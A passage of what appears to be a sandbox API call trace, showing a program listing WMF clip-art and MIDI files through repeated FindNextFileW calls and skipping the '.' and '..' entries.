	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="ED", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.307] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1
	[0095.307] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.307] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.307] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1
	[0095.307] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.307] wcsncmp (_String1="EN", _String2="..", _MaxCount=0x2) returned 23
	[0095.307] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1
	[0095.307] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.307] wcsncmp (_String1="EX", _String2="..", _MaxCount=0x2) returned 23
	[0095.307] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FA", _String2="..", _MaxCount=0x2) returned 24
	[0095.308] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.308] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.308] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.308] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.308] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1
	[0095.308] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.308] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc7b993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.309] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1
	[0095.309] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.309] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1
	[0095.310] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.310] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
	[0095.311] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1
	[0095.311] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0095.311] wcsncmp (_String1="FD", _String2="..", _MaxCount=0x2) returned 24
